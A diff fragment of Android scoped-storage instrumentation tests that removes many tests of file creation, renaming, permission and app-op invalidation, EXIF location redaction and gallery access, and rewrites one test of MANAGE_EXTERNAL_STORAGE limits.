-            // Upper fs open and read without direct_io
-            ParcelFileDescriptor readPfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-            Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
-
-            // Last write on lower fs is visible via upper fs
-            assertThat(readBuffer).isEqualTo(writeBuffer);
-            assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testContentResolverDelete() throws Exception {
-        String displayName = "content_resolver_delete.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            deleteWithMediaProvider(file);
-
-            assertThat(file.exists()).isFalse();
-            assertThat(file.createNewFile()).isTrue();
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testContentResolverUpdate() throws Exception {
-        String oldDisplayName = "content_resolver_update_old.jpg";
-        String newDisplayName = "content_resolver_update_new.jpg";
-        File oldFile = new File(getDcimDir(), oldDisplayName);
-        File newFile = new File(getDcimDir(), newDisplayName);
-
-        try {
-            assertThat(oldFile.createNewFile()).isTrue();
-            // Publish the pending oldFile before updating with MediaProvider. Not publishing the
-            // file will make MP consider pending from FUSE as explicit IS_PENDING
-            final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
-            assertNotNull(uri);
-
-            updateDisplayNameWithMediaProvider(uri,
-                    Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
-
-            assertThat(oldFile.exists()).isFalse();
-            assertThat(oldFile.createNewFile()).isTrue();
-            assertThat(newFile.exists()).isTrue();
-            assertThat(newFile.createNewFile()).isFalse();
-        } finally {
-            oldFile.delete();
-            newFile.delete();
-        }
-    }
-
-    @Test
-    public void testCreateLowerCaseDeleteUpperCase() throws Exception {
-        File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
-        File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
-
-        createDeleteCreate(lowerCase, upperCase);
-    }
-
-    @Test
-    public void testCreateUpperCaseDeleteLowerCase() throws Exception {
-        File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
-        File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
-
-        createDeleteCreate(upperCase, lowerCase);
-    }
-
-    @Test
-    public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
-        File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
-        File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
-
-        createDeleteCreate(mixedCase1, mixedCase2);
-    }
-
-    @Test
-    public void testAndroidDataObbDoesNotForgetMount() throws Exception {
-        File dataDir = getContext().getExternalFilesDir(null);
-        File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
-
-        File obbDir = getContext().getObbDir();
-        File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
-
-
-        StructStat beforeDataStruct = Os.stat(dataDir.getPath());
-        StructStat beforeObbStruct = Os.stat(obbDir.getPath());
-
-        assertThat(dataDir.exists()).isTrue();
-        assertThat(upperCaseDataDir.exists()).isTrue();
-        assertThat(obbDir.exists()).isTrue();
-        assertThat(upperCaseObbDir.exists()).isTrue();
-
-        StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
-        StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
-
-        assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
-        assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
-    }
-
-    @Test
-    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
-        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
-        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
-
-        try {
-            ParcelFileDescriptor upperCasePfd =
-                    ParcelFileDescriptor.open(upperCaseFile,
-                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
-            ParcelFileDescriptor lowerCasePfd =
-                    ParcelFileDescriptor.open(lowerCaseFile,
-                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
-
-            assertRWR(upperCasePfd, lowerCasePfd);
-            assertRWR(lowerCasePfd, upperCasePfd);
-        } finally {
-            upperCaseFile.delete();
-            lowerCaseFile.delete();
-        }
-    }
-
-    private void createDeleteCreate(File create, File delete) throws Exception {
-        try {
-            assertThat(create.createNewFile()).isTrue();
-            Thread.sleep(5);
-
-            assertThat(delete.delete()).isTrue();
-            Thread.sleep(5);
-
-            assertThat(create.createNewFile()).isTrue();
-            Thread.sleep(5);
-        } finally {
-            create.delete();
-            delete.delete();
-        }
-    }
-
-    @Test
-    public void testReadStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "read_storage.jpg"),
-                Manifest.permission.READ_EXTERNAL_STORAGE,
-                AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
-    }
-
-    @Test
-    public void testWriteStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
-                Manifest.permission.WRITE_EXTERNAL_STORAGE,
-                AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
-    }
-
-    @Test
-    public void testManageStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDownloadDir(), "manage_storage.pdf"),
-                /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
-    }
-
-    @Test
-    public void testWriteImagesInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "write_images.jpg"),
-                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
-    }
-
-    @Test
-    public void testWriteVideoInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "write_video.mp4"),
-                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
-    }
-
-    @Test
-    public void testAccessMediaLocationInvalidation() throws Exception {
-        File imgFile = new File(getDcimDir(), "access_media_location.jpg");
-
-        try {
-            // Setup image with sensitive data on external storage
-            HashMap<String, String> originalExif =
-                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
-            try (InputStream in =
-                            getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                    OutputStream out = new FileOutputStream(imgFile)) {
-                // Dump the image we have to external storage
-                FileUtils.copy(in, out);
-            }
-            HashMap<String, String> exif = getExifMetadata(imgFile);
-            assertExifMetadataMatch(exif, originalExif);
-
-            // Install test app
-            installAppWithStoragePermissions(TEST_APP_C);
-
-            // Grant A_M_L and verify access to sensitive data
-            grantPermission(TEST_APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            HashMap<String, String> exifFromTestApp =
-                    readExifMetadataFromTestApp(TEST_APP_C, imgFile.getPath());
-            assertExifMetadataMatch(exifFromTestApp, originalExif);
-
-            // Revoke A_M_L and verify sensitive data redaction
-            revokePermission(
-                    TEST_APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            exifFromTestApp = readExifMetadataFromTestApp(TEST_APP_C, imgFile.getPath());
-            assertExifMetadataMismatch(exifFromTestApp, originalExif);
-
-            // Re-grant A_M_L and verify access to sensitive data
-            grantPermission(TEST_APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            exifFromTestApp = readExifMetadataFromTestApp(TEST_APP_C, imgFile.getPath());
-            assertExifMetadataMatch(exifFromTestApp, originalExif);
-        } finally {
-            imgFile.delete();
-            uninstallAppNoThrow(TEST_APP_C);
-        }
-    }
-
-    @Test
-    public void testAppUpdateInvalidation() throws Exception {
-        File file = new File(getDcimDir(), "app_update.jpg");
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // Install legacy
-            installAppWithStoragePermissions(TEST_APP_C_LEGACY);
-            grantPermission(TEST_APP_C_LEGACY.getPackageName(),
-                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
-            // Legacy app can read and write media files contributed by others
-            assertThat(openFileAs(TEST_APP_C_LEGACY, file.getPath(), /* forWrite */ false)).isTrue();
-            assertThat(openFileAs(TEST_APP_C_LEGACY, file.getPath(), /* forWrite */ true)).isTrue();
-
-            // Update to non-legacy
-            installAppWithStoragePermissions(TEST_APP_C);
-            grantPermission(TEST_APP_C_LEGACY.getPackageName(),
-                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
-            // Non-legacy app can read media files contributed by others
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ false)).isTrue();
-            // But cannot write
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ true)).isFalse();
-        } finally {
-            file.delete();
-            uninstallAppNoThrow(TEST_APP_C);
-        }
-    }
-
-    @Test
-    public void testAppReinstallInvalidation() throws Exception {
-        File file = new File(getDcimDir(), "app_reinstall.jpg");
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // Install
-            installAppWithStoragePermissions(TEST_APP_C);
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ false)).isTrue();
-
-            // Re-install
-            uninstallAppNoThrow(TEST_APP_C);
-            installApp(TEST_APP_C);
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ false)).isFalse();
-        } finally {
-            file.delete();
-            uninstallAppNoThrow(TEST_APP_C);
-        }
-    }
-
-    private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
-            String opstr, boolean forWrite) throws Exception {
-        try {
-            installApp(app);
-            assertThat(file.createNewFile()).isTrue();
-            assertAppOpInvalidation(app, file, permission, opstr, forWrite);
-        } finally {
-            file.delete();
-            uninstallApp(app);
-        }
-    }
-
-    /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
-    private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
-            String opstr, boolean forWrite) throws Exception {
-        String packageName = app.getPackageName();
-        int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
-
-        // Deny
-        if (permission != null) {
-            revokePermission(packageName, permission);
-        } else {
-            denyAppOpsToUid(uid, opstr);
-        }
-        assertThat(openFileAs(app, file.getPath(), forWrite)).isFalse();
-
-        // Grant
-        if (permission != null) {
-            grantPermission(packageName, permission);
-        } else {
-            allowAppOpsToUid(uid, opstr);
-        }
-        assertThat(openFileAs(app, file.getPath(), forWrite)).isTrue();
-
-        // Deny
-        if (permission != null) {
-            revokePermission(packageName, permission);
-        } else {
-            denyAppOpsToUid(uid, opstr);
-        }
-        assertThat(openFileAs(app, file.getPath(), forWrite)).isFalse();
-    }
-
-    @Test
-    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
-        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
-        final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
-        final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
-
-        try {
-            installApp(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an image file
-            assertThat(createFileAs(TEST_APP_A, otherAppImageFile.getPath())).isTrue();
-            assertThat(otherAppImageFile.exists()).isTrue();
-
-            // Assert we can write to the file
-            try (final FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
-                fos.write(BYTES_DATA1);
-            }
-
-            // Assert we can read from the file
-            assertFileContent(otherAppImageFile, BYTES_DATA1);
-
-            // Assert we can delete the file
-            assertThat(otherAppImageFile.delete()).isTrue();
-            assertThat(otherAppImageFile.exists()).isFalse();
-
-            // Can create an image anywhere
-            assertCanCreateFile(topLevelImageFile);
-            assertCanCreateFile(imageInAnObviouslyWrongPlace);
-
-            // Put the file back in its place and let TEST_APP_A delete it
-            assertThat(otherAppImageFile.createNewFile()).isTrue();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImageFile.getAbsolutePath());
-            otherAppImageFile.delete();
-            uninstallApp(TEST_APP_A);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
-        final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
-        final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
-        final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
-
-        try {
-            installApp(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an audio file
-            assertThat(createFileAs(TEST_APP_A, otherAppAudioFile.getPath())).isTrue();
-            assertThat(otherAppAudioFile.exists()).isTrue();
-
-            // Assert we can't access the file
-            assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
-
-            // Assert we can't delete the file
-            assertThat(otherAppAudioFile.delete()).isFalse();
-
-            // Can't create an audio file where it doesn't belong
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> { topLevelAudioFile.createNewFile(); });
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> { audioInAnObviouslyWrongPlace.createNewFile(); });
-        } finally {
-            deleteFileAs(TEST_APP_A, otherAppAudioFile.getPath());
-            uninstallApp(TEST_APP_A);
-            topLevelAudioFile.delete();
-            audioInAnObviouslyWrongPlace.delete();
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
-        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
-        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
-        final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
-        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create a video file
-            assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
-            assertThat(otherAppVideoFile.exists()).isTrue();
-
-            // Write some data to the file
-            try (final FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
-                fos.write(BYTES_DATA1);
-            }
-            assertFileContent(otherAppVideoFile, BYTES_DATA1);
-
-            // Assert we can rename the file and ensure the file has the same content
-            assertCanRenameFile(otherAppVideoFile, videoFile);
-            assertFileContent(videoFile, BYTES_DATA1);
-            // We can even move it to the top level directory
-            assertCanRenameFile(videoFile, topLevelVideoFile);
-            assertFileContent(topLevelVideoFile, BYTES_DATA1);
-            // And we can even convert it into an image file, because why not?
-            assertCanRenameFile(topLevelVideoFile, imageFile);
-            assertFileContent(imageFile, BYTES_DATA1);
-
-            // We can convert it to a music file, but we won't have access to music file after
-            // renaming.
-            assertThat(imageFile.renameTo(musicFile)).isTrue();
-            assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppVideoFile.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
-            imageFile.delete();
-            videoFile.delete();
-            topLevelVideoFile.delete();
-            executeShellCommand("rm  " + musicFile.getAbsolutePath());
-            MediaStore.scanFile(getContentResolver(), musicFile);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Test that basic file path restrictions are enforced on file rename.
-     */
-    @Test
-    public void testRenameFile() throws Exception {
-        final File downloadDir = getDownloadDir();
-        final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
-        final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
-        final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
-
-        try {
-            // Renaming non media file to media directory is not allowed.
-            assertThat(pdfFile1.createNewFile()).isTrue();
-            assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
-
-            // Renaming non media files to non media directories is allowed.
-            if (!nonMediaDir.exists()) {
-                assertThat(nonMediaDir.mkdirs()).isTrue();
-            }
-            // App can rename pdfFile to non media directory.
-            assertCanRenameFile(pdfFile1, pdfFile2);
-
-            assertThat(videoFile1.createNewFile()).isTrue();
-            // App can rename video file to Movies directory
-            assertCanRenameFile(videoFile1, videoFile2);
-            // App can rename video file to Download directory
-            assertCanRenameFile(videoFile2, videoFile3);
-        } finally {
-            pdfFile1.delete();
-            pdfFile2.delete();
-            videoFile1.delete();
-            videoFile2.delete();
-            videoFile3.delete();
-            nonMediaDir.delete();
-        }
-    }
-
-    /**
-     * Test that renaming file to different mime type is allowed.
-     */
-    @Test
-    public void testRenameFileType() throws Exception {
-        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        try {
-            assertThat(pdfFile.createNewFile()).isTrue();
-            assertThat(videoFile.exists()).isFalse();
-            // Moving pdfFile to DCIM directory is not allowed.
-            assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
-            // However, moving pdfFile to DCIM directory with changing the mime type to video is
-            // allowed.
-            assertCanRenameFile(pdfFile, videoFile);
-
-            // On rename, MediaProvider database entry for pdfFile should be updated with new
-            // videoFile path and mime type should be updated to video/mp4.
-            assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
-        } finally {
-            pdfFile.delete();
-            videoFile.delete();
-        }
-    }
-
-    /**
-     * Test that renaming files overwrites files in newPath.
-     */
-    @Test
-    public void testRenameAndReplaceFile() throws Exception {
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        final ContentResolver cr = getContentResolver();
-        try {
-            assertThat(videoFile1.createNewFile()).isTrue();
-            assertThat(videoFile2.createNewFile()).isTrue();
-            final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
-            final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
-
-            // Renaming a file which replaces file in newPath videoFile2 is allowed.
-            assertCanRenameFile(videoFile1, videoFile2);
-
-            // Uri of videoFile2 should be accessible after rename.
-            assertThat(cr.openFileDescriptor(uriVideoFile2, "rw")).isNotNull();
-            // Uri of videoFile1 should not be accessible after rename.
-            assertThrows(FileNotFoundException.class,
-                    () -> { cr.openFileDescriptor(uriVideoFile1, "rw"); });
-        } finally {
-            videoFile1.delete();
-            videoFile2.delete();
-        }
-    }
-
-    /**
-     * Test that app without write permission for file can't update the file.
-     */
-    @Test
-    public void testRenameFileNotOwned() throws Exception {
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, videoFile1.getAbsolutePath())).isTrue();
-            // App can't rename a file owned by TEST_APP_A.
-            assertCantRenameFile(videoFile1, videoFile2);
-
-            assertThat(videoFile2.createNewFile()).isTrue();
-            // App can't rename a file to videoFile1 which is owned by TEST_APP_A
-            assertCantRenameFile(videoFile2, videoFile1);
-            // TODO(b/146346138): Test that app with right URI permission should be able to rename
-            // the corresponding file
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, videoFile1.getAbsolutePath());
-            videoFile2.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that renaming directories is allowed and aligns to default directory restrictions.
-     */
-    @Test
-    public void testRenameDirectory() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File downloadDir = getDownloadDir();
-        final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
-        final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
-        final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
-
-        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
-        final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
-        final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
-        final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
-        final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
-        final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
-        final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
-
-        try {
-            if (!nonMediaDirectory.exists()) {
-                assertThat(nonMediaDirectory.mkdirs()).isTrue();
-            }
-            assertThat(pdfFile.createNewFile()).isTrue();
-            // Move directory with pdf file to DCIM directory is not allowed.
-            assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
-                    .isFalse();
-
-            if (!mediaDirectory1.exists()) {
-                assertThat(mediaDirectory1.mkdirs()).isTrue();
-            }
-            assertThat(videoFile1.createNewFile()).isTrue();
-            // Renaming to and from default directories is not allowed.
-            assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
-            // Moving top level default directories is not allowed.
-            assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
-
-            // Moving media directory to Download directory is allowed.
-            assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
-                    new File[] {videoFile2});
-
-            // Moving media directory to Movies directory and renaming directory in new path is
-            // allowed.
-            assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
-                    new File[] {videoFile3});
-
-            // Can't rename a mediaDirectory to non empty non Media directory.
-            assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
-            // Can't rename a file to a directory.
-            assertCantRenameFile(videoFile3, mediaDirectory3);
-            // Can't rename a directory to file.
-            assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
-            if (!mediaDirectory4.exists()) {
-                assertThat(mediaDirectory4.mkdir()).isTrue();
-            }
-            // Can't rename a directory to subdirectory of itself.
-            assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
-
-        } finally {
-            pdfFile.delete();
-            nonMediaDirectory.delete();
-
-            videoFile1.delete();
-            videoFile2.delete();
-            videoFile3.delete();
-            mediaDirectory1.delete();
-            mediaDirectory2.delete();
-            mediaDirectory3.delete();
-            mediaDirectory4.delete();
-        }
-    }
-
-    /**
-     * Test that renaming directory checks file ownership permissions.
-     */
-    @Test
-    public void testRenameDirectoryNotOwned() throws Exception {
-        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
-        File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
-        File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
-
-        try {
-            installApp(TEST_APP_A);
-
-            if (!mediaDirectory1.exists()) {
-                assertThat(mediaDirectory1.mkdirs()).isTrue();
-            }
-            assertThat(createFileAs(TEST_APP_A, videoFile.getAbsolutePath())).isTrue();
-            // App doesn't have access to videoFile1, can't rename mediaDirectory1.
-            assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
-            assertThat(videoFile.exists()).isTrue();
-            // Test app can delete the file since the file is not moved to new directory.
-            assertThat(deleteFileAs(TEST_APP_A, videoFile.getAbsolutePath())).isTrue();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, videoFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-            mediaDirectory1.delete();
-        }
-    }
-
-    /**
-     * Test renaming empty directory is allowed
-     */
-    @Test
-    public void testRenameEmptyDirectory() throws Exception {
-        final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
-        File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
-        try {
-            if (emptyDirectoryOldPath.exists()) {
-                executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
-            }
-            assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
-            assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
-        } finally {
-            emptyDirectoryOldPath.delete();
-            emptyDirectoryNewPath.delete();
         }
     }
 
@@ -1660,380 +196,25 @@
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
         pollForManageExternalStorageAllowed();
 
-        try {
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
+        // Let app A create a file in its data dir
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+        final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                NONMEDIA_FILE_NAME);
+        assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
 
-            // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
-                    NONMEDIA_FILE_NAME);
-            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+        // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+        // file manager app doesn't have access to other app's external files directory
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+        assertThat(otherAppExternalDataFile.delete()).isFalse();
 
-            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
-            // file manager app doesn't have access to other app's external files directory
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
-            assertThat(otherAppExternalDataFile.delete()).isFalse();
+        assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
 
-            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
-            assertThrows(IOException.class,
-                    () -> { otherAppExternalDataFile.createNewFile(); });
-
-        } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-        }
-    }
-
-    /**
-     * Tests that an instant app can't access external storage.
-     */
-    @Test
-    @AppModeInstant
-    public void testInstantAppsCantAccessExternalStorage() throws Exception {
-        assumeTrue("This test requires that the test runs as an Instant app",
-                getContext().getPackageManager().isInstantApp());
-        assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
-
-        // Can't read ExternalStorageDir
-        assertThat(getExternalStorageDir().list()).isNull();
-
-        // Can't create a top-level direcotry
-        final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
-        assertThat(topLevelDir.mkdir()).isFalse();
-
-        // Can't create file under root dir
-        final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         assertThrows(IOException.class,
-                () -> { newTxtFile.createNewFile(); });
-
-        // Can't create music file under /MUSIC
-        final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
-        assertThrows(IOException.class,
-                () -> { newMusicFile.createNewFile(); });
-
-        // getExternalFilesDir() is not null
-        assertThat(getExternalFilesDir()).isNotNull();
-
-        // Can't read/write app specific dir
-        assertThat(getExternalFilesDir().list()).isNull();
-        assertThat(getExternalFilesDir().exists()).isFalse();
-    }
-
-    /**
-     * Test that apps can create and delete hidden file.
-     */
-    @Test
-    public void testCanCreateHiddenFile() throws Exception {
-        final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
-        try {
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-            // Write to hidden file is allowed.
-            try (final FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
-                fos.write(BYTES_DATA1);
-            }
-            assertFileContent(hiddenImageFile, BYTES_DATA1);
-
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            assertDirectoryContains(getDownloadDir(), hiddenImageFile);
-            assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
-
-            // We can delete hidden file
-            assertThat(hiddenImageFile.delete()).isTrue();
-            assertThat(hiddenImageFile.exists()).isFalse();
-        } finally {
-            hiddenImageFile.delete();
-        }
-    }
-
-    /**
-     * Test that apps can rename a hidden file.
-     */
-    @Test
-    public void testCanRenameHiddenFile() throws Exception {
-        final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
-        final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
